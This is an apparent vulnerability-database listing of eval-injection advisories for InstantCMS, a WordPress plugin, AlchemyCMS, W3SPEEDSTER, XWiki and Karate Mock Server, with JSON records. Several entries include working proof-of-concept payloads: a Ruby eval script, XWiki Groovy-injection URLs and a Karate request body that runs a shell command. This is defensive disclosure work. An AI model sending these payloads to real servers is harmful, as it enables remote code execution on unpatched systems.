Common Weakness Enumeration

CWE-95

Allowed

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

325 vulnerabilities reference this CWE, most recent first.

CVE-2013-10051 (GCVE-0-2013-10051)

Vulnerability from cvelistv5 – Published: 2025-08-01 20:41 – Updated: 2026-05-15 11:14
VLAI
Title
InstantCMS <= 1.6 Remote PHP Code Execution
Summary
A remote PHP code execution vulnerability exists in InstantCMS version 1.6 and earlier due to unsafe use of eval() within the search view handler. Specifically, user-supplied input passed via the look parameter is concatenated into a PHP expression and executed without proper sanitation. A remote attacker can exploit this flaw by sending a crafted HTTP GET request with a base64-encoded payload in the Cmd header, resulting in arbitrary PHP code execution within the context of the web server.
SSVC
Exploitation: poc Automatable: yes Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-08-05 14:45 UTC
CWE
  • CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Impacted products
Vendor Product Version
InstantCMS InstantCMS Affected: 0 , ≤ 1.6 (custom)
    cpe:2.3:a:instantcms:instantcms:*:*:*:*:*:*:*:*
Create a notification for this product.
Date Public
2013-07-05 00:00
Show details on NVD website

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CVE-2011-10033 (GCVE-0-2011-10033)

Vulnerability from cvelistv5 – Published: 2025-10-15 01:23 – Updated: 2026-05-15 11:13 X_Known Exploited Vulnerability
VLAI
Title
WordPress Plugin is-human <= v1.4.2 Eval Injection RCE
Summary
The WordPress plugin is-human <= v1.4.2 contains an eval injection vulnerability in /is-human/engine.php that can be triggered via the 'type' parameter when the 'action' parameter is set to 'log-reset'. The root cause is unsafe use of eval() on user-controlled input, which can lead to execution of attacker-supplied PHP and OS commands. This may result in arbitrary code execution as the webserver user, site compromise, or data exfiltration. The is-human plugin was made defunct in June 2008 and is no longer available for download. This vulnerability was exploited in the wild in March 2012.
SSVC
Exploitation: poc Automatable: yes Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-15 18:47 UTC
CWE
  • CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Impacted products
Vendor Product Version
is-human WordPress Plugin is-human WordPress Plugin Affected: 0 , ≤ 1.4.2 (semver)
    cpe:2.3:a:disable_wordpress_update_notifications_and_auto-update_email_notifications_project:is-human__plugin:*:*:*:*:*:*:*:*
Create a notification for this product.
Date Public
2011-05-17 00:00
Credits
Show details on NVD website

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GHSA-2487-9F55-2VG9

Vulnerability from github – Published: 2025-05-12 19:58 – Updated: 2025-05-12 19:58
VLAI
Summary
OZI-Project/ozi-publish Code Injection vulnerability
Details

Impact

Potentially untrusted data flows into PR creation logic. A malicious actor could construct a branch name that injects arbitrary code.

Patches

This is patched in 1.13.6

Workarounds

Downgrade to <1.13.2

References

Show details on source website

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GHSA-2762-657X-V979

Vulnerability from github – Published: 2026-01-21 01:04 – Updated: 2026-02-02 14:44
VLAI
Summary
AlchemyCMS: Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper
Details

Summary

A vulnerability was discovered during a manual security audit of the AlchemyCMS source code. The application uses the Ruby eval() function to dynamically execute a string provided by the resource_handler.engine_name attribute in Alchemy::ResourcesHelper#resource_url_proxy.

Details

The vulnerability exists in app/helpers/alchemy/resources_helper.rb at line 28. The code explicitly bypasses security linting with # rubocop:disable Security/Eval, indicating that the use of a dangerous function was known but not properly mitigated.

Since engine_name is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS.

But, for this attack to be possible local file access to the alchemy project or the source on a remote server is necessary in order to manipulate the module config file, though.

PoC (Proof of Concept)

The following standalone Ruby script demonstrates that the eval sink is directly exploitable:

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)

if File.exist?('/tmp/alchemy_rce_verified')
  puts "RCE Verified: Command executed successfully."
end

Screenshot From 2026-01-17 15-49-01

Show details on source website

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    "severity": "MODERATE"
  },
  "details": "### Summary\nA vulnerability was discovered during a manual security audit of the AlchemyCMS source code. The application uses the Ruby `eval()` function to dynamically execute a string provided by the `resource_handler.engine_name` attribute in `Alchemy::ResourcesHelper#resource_url_proxy`.\n\n### Details\nThe vulnerability exists in `app/helpers/alchemy/resources_helper.rb` at line 28. The code explicitly bypasses security linting with `# rubocop:disable Security/Eval`, indicating that the use of a dangerous function was known but not properly mitigated. \n\nSince `engine_name` is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS.\n\nBut, for this attack to be possible local file access to the alchemy project or the source on a remote server is necessary in order to manipulate the module config file, though.\n\n### PoC (Proof of Concept)\nThe following standalone Ruby script demonstrates that the `eval` sink is directly exploitable:\n\n```ruby\nrequire \u0027ostruct\u0027\n\ndef resource_url_proxy(resource_handler)\n  if resource_handler.engine_name \u0026\u0026 !resource_handler.engine_name.empty?\n    eval(resource_handler.engine_name)\n  end\nend\n\n# Payload to create a file in /tmp directory\npayload = \"system(\u0027touch /tmp/alchemy_rce_verified\u0027); \u0027main_app\u0027\"\nhandler = OpenStruct.new(engine_name: payload)\n\nresource_url_proxy(handler)\n\nif File.exist?(\u0027/tmp/alchemy_rce_verified\u0027)\n  puts \"RCE Verified: Command executed successfully.\"\nend\n```\n\n\n\u003cimg width=\"1909\" height=\"885\" alt=\"Screenshot From 2026-01-17 15-49-01\" src=\"https://github.com/user-attachments/assets/07929d46-c839-4d3c-9b74-916bd87819ad\" /\u003e",
  "id": "GHSA-2762-657x-v979",
  "modified": "2026-02-02T14:44:59Z",
  "published": "2026-01-21T01:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AlchemyCMS/alchemy_cms/security/advisories/GHSA-2762-657x-v979"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23885"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AlchemyCMS/alchemy_cms/commit/55d03ec600fd9e07faae1138b923790028917d26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AlchemyCMS/alchemy_cms/commit/563c4ce45bf5813b7823bf3403ca1fc32cb769e7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AlchemyCMS/alchemy_cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v7.4.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v8.0.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/alchemy_cms/CVE-2026-23885.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AlchemyCMS: Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper"
}

GHSA-2829-867G-736W

Vulnerability from github – Published: 2024-10-30 12:31 – Updated: 2024-10-30 12:31
VLAI
Details

The W3SPEEDSTER plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 7.26 via the 'script' parameter of the hookBeforeStartOptimization() function. This is due to the plugin passing user supplied input to eval(). This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-30T11:15:15Z",
    "severity": "CRITICAL"
  },
  "details": "The W3SPEEDSTER plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 7.26 via the \u0027script\u0027 parameter of the hookBeforeStartOptimization() function. This is due to the plugin passing user supplied input to eval(). This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.",
  "id": "GHSA-2829-867g-736w",
  "modified": "2024-10-30T12:31:24Z",
  "published": "2024-10-30T12:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8512"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/w3speedster-wp/trunk/w3speedster.php#L740"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3175640"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2a56eb63-ba5c-4452-8ab9-f5aeaf53adda?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2858-8CFX-69M9

Vulnerability from github – Published: 2024-04-10 17:12 – Updated: 2025-09-26 16:30
VLAI
Summary
XWiki Platform: Remote code execution as guest via DatabaseSearch
Details

Impact

XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.

To reproduce on an instance, without being logged in, go to <hostname>/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If the title of the RSS channel contains Hello from search text:42, the instance is vulnerable.

Patches

This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.

Workarounds

It is possible to manually apply this patch to the page Main.DatabaseSearch. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.

References

  • https://jira.xwiki.org/browse/XWIKI-21472
  • https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4-milestone-1"
            },
            {
              "fixed": "14.10.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-search-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6-rc-1"
            },
            {
              "fixed": "15.10-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-10T17:12:47Z",
    "nvd_published_at": "2024-04-10T20:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nXWiki\u0027s database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation.\n\nTo reproduce on an instance, without being logged in, go to `\u003chostname\u003e/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain\u0026text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If the title of the RSS channel contains `Hello from search text:42`, the instance is vulnerable.\n\n### Patches\nThis vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1.\n\n### Workarounds\nIt is possible to manually apply [this patch](https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565#diff-ef3314b8bb489e5368618ea1940c59098b18ec2246cc65fe337ae636de87e404) to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-21472\n* https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565",
  "id": "GHSA-2858-8cfx-69m9",
  "modified": "2025-09-26T16:30:44Z",
  "published": "2024-04-10T17:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/3c9e4bb04286de94ad24854026a09fa967538e31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/459e968be8740c8abc2a168196ce21e5ba93cfb8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/95bdd6cc6298acdf7f8f21298d40eeb8390a8565"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-21472"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-detect-xwiki-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-31982-xwiki-mitigation-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/xwiki-rce-cve-2024-31982"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "XWiki Platform: Remote code execution as guest via DatabaseSearch"
}

GHSA-2C85-RFCC-G74J

Vulnerability from github – Published: 2026-06-18 13:06 – Updated: 2026-06-18 13:06
VLAI
Summary
Karate Mock Server RCE via embedded expression evaluation of request-derived data
Details

Summary

Karate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as request, requestHeaders, or requestParams to variables.

In affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as #(Java.type(...)) in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process.

This issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example:

* def body = request
* def hdrs = requestHeaders
* def params = requestParams

Details

The issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions.

In MockHandler, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the request binding:

// MockHandler.java
this.currentRequest = request;
request.processBody();

engine.put("request", (JsLazy) () ->
    currentRequest != null ? currentRequest.getBodyConverted() : null);

HttpRequest.getBodyConverted() converts attacker-controlled JSON request bodies into Java objects such as Map<String, Object>:

// HttpRequest.java
public Object getBodyConverted() {
    ResourceType rt = getResourceType();
    if (rt != null && rt.isBinary()) { return body; }
    return HttpUtils.fromBytes(body, false, rt);
}

When a Mock Server feature contains a step such as:

* def body = request

the expression request is evaluated by StepExecutor.executeDef() through evalKarateExpression():

// StepExecutor.java
Object value = evalKarateExpression(expr);
runtime.setVariable(name, value);

Inside evalKarateExpression(), the evaluated value is processed as embedded-expression content if it is a Map or List:

// StepExecutor.java
Object value = runtime.eval(wrapJsonLikeExpression(expr));
if (value instanceof Map || value instanceof List) {
    value = processEmbeddedExpressions(value, true);
}

This is the vulnerable trust-boundary violation. The Map originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions.

processEmbeddedExpressions() recursively walks nested maps/lists and sends string values to processEmbeddedString():

// StepExecutor.java
} else if (value instanceof String str) {
    return processEmbeddedString(str, lenient);
}

processEmbeddedString() treats strings of the form #(...) as embedded expressions and evaluates them:

// StepExecutor.java
if (str.startsWith("#(") && str.endsWith(")")) {
    String expr = str.substring(2, str.length() - 1);
    try {
        return runtime.eval(expr);

Because the Karate runtime supports Java interop through Java.type(...), attacker-controlled request data can reach Java class loading and command execution.

The same issue applies to other request-derived bindings, such as requestHeaders and requestParams, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation.

The important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as request, requestHeaders, or requestParams; the framework then automatically performs embedded-expression evaluation on attacker-controlled data.

PoC

A minimal vulnerable Mock Server feature is:

Feature: demo

Background:
* def responseHeaders = { 'Content-Type': 'application/json' }

Scenario: pathMatches('/api/echo')
* def body = request
* def response = { ok: true }

Start the Mock Server with the vulnerable feature:

java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature

http body is here:

POST /api/echo HTTP/1.1
Host: localhost:18080
Content-Type: application/json
Content-Length: 87

{"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"}

image

Additional verified vectors:

  1. Body vector: triggered when the feature assigns request.
  2. Header vector: triggered when the feature assigns requestHeaders.
  3. Query parameter vector: triggered when the feature assigns requestParams.

These vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing.

Impact

An unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario.

The impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as request, requestHeaders, or requestParams. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file.

This can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process.

Tested versions

Confirmed on:

  • io.karatelabs:karate-core v2.0.10
  • main branch commit dff68200d, project version 2.0.11.RC1

The same vulnerable code path appears to exist in v2.0.1 through v2.0.9.

I am not claiming v1.x as affected without independent verification.

Suggested remediation

Karate should not automatically process embedded expressions inside data that originated from HTTP requests.

Possible fixes include:

  1. Preserve a trust boundary for request-derived values such as request, requestHeaders, and requestParams, and skip processEmbeddedExpressions for those values.
  2. Add a Mock Server safe mode that disables or restricts Java.type() / Java interop while processing request data.
  3. Require an explicit opt-in step for evaluating embedded expressions inside request-derived data.
  4. Add regression tests for body, header, and query parameter injection where #(Java.type(...)) must remain inert data instead of being evaluated.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.karatelabs:karate-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:06:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nKarate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as `request`, `requestHeaders`, or `requestParams` to variables.\n\nIn affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as `#(Java.type(...))` in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process.\n\nThis issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example:\n\n```karate\n* def body = request\n* def hdrs = requestHeaders\n* def params = requestParams\n```\n\n### Details\n\nThe issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions.\n\nIn `MockHandler`, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the `request` binding:\n\n```java\n// MockHandler.java\nthis.currentRequest = request;\nrequest.processBody();\n\nengine.put(\"request\", (JsLazy) () -\u003e\n    currentRequest != null ? currentRequest.getBodyConverted() : null);\n```\n\n`HttpRequest.getBodyConverted()` converts attacker-controlled JSON request bodies into Java objects such as `Map\u003cString, Object\u003e`:\n\n```java\n// HttpRequest.java\npublic Object getBodyConverted() {\n    ResourceType rt = getResourceType();\n    if (rt != null \u0026\u0026 rt.isBinary()) { return body; }\n    return HttpUtils.fromBytes(body, false, rt);\n}\n```\n\nWhen a Mock Server feature contains a step such as:\n\n```karate\n* def body = request\n```\n\nthe expression `request` is evaluated by `StepExecutor.executeDef()` through `evalKarateExpression()`:\n\n```java\n// StepExecutor.java\nObject value = evalKarateExpression(expr);\nruntime.setVariable(name, value);\n```\n\nInside `evalKarateExpression()`, the evaluated value is processed as embedded-expression content if it is a `Map` or `List`:\n\n```java\n// StepExecutor.java\nObject value = runtime.eval(wrapJsonLikeExpression(expr));\nif (value instanceof Map || value instanceof List) {\n    value = processEmbeddedExpressions(value, true);\n}\n```\n\nThis is the vulnerable trust-boundary violation. The `Map` originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions.\n\n`processEmbeddedExpressions()` recursively walks nested maps/lists and sends string values to `processEmbeddedString()`:\n\n```java\n// StepExecutor.java\n} else if (value instanceof String str) {\n    return processEmbeddedString(str, lenient);\n}\n```\n\n`processEmbeddedString()` treats strings of the form `#(...)` as embedded expressions and evaluates them:\n\n```java\n// StepExecutor.java\nif (str.startsWith(\"#(\") \u0026\u0026 str.endsWith(\")\")) {\n    String expr = str.substring(2, str.length() - 1);\n    try {\n        return runtime.eval(expr);\n```\n\nBecause the Karate runtime supports Java interop through `Java.type(...)`, attacker-controlled request data can reach Java class loading and command execution.\n\nThe same issue applies to other request-derived bindings, such as `requestHeaders` and `requestParams`, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation.\n\nThe important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as `request`, `requestHeaders`, or `requestParams`; the framework then automatically performs embedded-expression evaluation on attacker-controlled data.\n\n\n### PoC\n\nA minimal vulnerable Mock Server feature is:\n\n```karate\nFeature: demo\n\nBackground:\n* def responseHeaders = { \u0027Content-Type\u0027: \u0027application/json\u0027 }\n\nScenario: pathMatches(\u0027/api/echo\u0027)\n* def body = request\n* def response = { ok: true }\n```\n\nStart the Mock Server with the vulnerable feature:\n\n```bash\njava -cp \"\u003ckarate-core-and-runtime-classpath\u003e\" io.karatelabs.Main mock -p 18080 -m vuln.feature\n```\nhttp body is here:\n```http\nPOST /api/echo HTTP/1.1\nHost: localhost:18080\nContent-Type: application/json\nContent-Length: 87\n\n{\"poc\": \"#(Java.type(\u0027java.lang.Runtime\u0027).getRuntime().exec(\u0027sh -c id\u003e/tmp/success\u0027))\"}\n```\n\u003cimg width=\"1051\" height=\"558\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f12c4631-dd22-439c-a8df-c7243726c0c4\" /\u003e\n\n\nAdditional verified vectors:\n\n1. Body vector: triggered when the feature assigns `request`.\n2. Header vector: triggered when the feature assigns `requestHeaders`.\n3. Query parameter vector: triggered when the feature assigns `requestParams`.\n\nThese vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing.\n\n### Impact\n\nAn unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario.\n\nThe impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as `request`, `requestHeaders`, or `requestParams`. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file.\n\nThis can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process.\n\n### Tested versions\n\nConfirmed on:\n\n* `io.karatelabs:karate-core` v2.0.10\n* main branch commit `dff68200d`, project version `2.0.11.RC1`\n\nThe same vulnerable code path appears to exist in v2.0.1 through v2.0.9.\n\nI am not claiming v1.x as affected without independent verification.\n\n### Suggested remediation\n\nKarate should not automatically process embedded expressions inside data that originated from HTTP requests.\n\nPossible fixes include:\n\n1. Preserve a trust boundary for request-derived values such as `request`, `requestHeaders`, and `requestParams`, and skip `processEmbeddedExpressions` for those values.\n2. Add a Mock Server safe mode that disables or restricts `Java.type()` / Java interop while processing request data.\n3. Require an explicit opt-in step for evaluating embedded expressions inside request-derived data.\n4. Add regression tests for body, header, and query parameter injection where `#(Java.type(...))` must remain inert data instead of being evaluated.",
  "id": "GHSA-2c85-rfcc-g74j",
  "modified": "2026-06-18T13:06:46Z",
  "published": "2026-06-18T13:06:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/karatelabs/karate/security/advisories/GHSA-2c85-rfcc-g74j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/karatelabs/karate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Karate Mock Server RCE via embedded expression evaluation of request-derived data"
}

GHSA-2G5C-228J-P52X

Vulnerability from github – Published: 2022-09-16 17:21 – Updated: 2022-09-16 17:21
VLAI
Summary
XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection
Details

Impact

The tags document Main.Tags in XWiki didn't sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn't a serious limitation as string literals can be delimited by / in Groovy and < and > aren't necessary, e.g., to elevate privileges of the current user.

On XWiki versions before 13.10.4 and 14.2, this can be combined with the authentication bypass using the login action, meaning that no rights are required to perform the attack. The following URL demonstrates the attack: <server>/xwiki/bin/login/Main/Tags?xpage=view&do=viewTag&tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the XWiki installations.

On current versions (e.g, 14.3), the issue can be exploited by requesting the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}} demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}.

Patches

This has been patched in the supported versions 13.10.6 and 14.4.

Workarounds

The patch that fixes the issue can be manually applied to the document Main.Tags or the updated version of that document can be imported from version 14.4 of xwiki-platform-tag-ui using the import feature in the administration UI on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).

References

  • https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427
  • https://jira.xwiki.org/browse/XWIKI-19747

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-tag-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform.applications:xwiki-application-tag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-tag-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0"
            },
            {
              "fixed": "14.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T17:21:25Z",
    "nvd_published_at": "2022-09-08T21:15:00Z",
    "severity": "CRITICAL"
  },
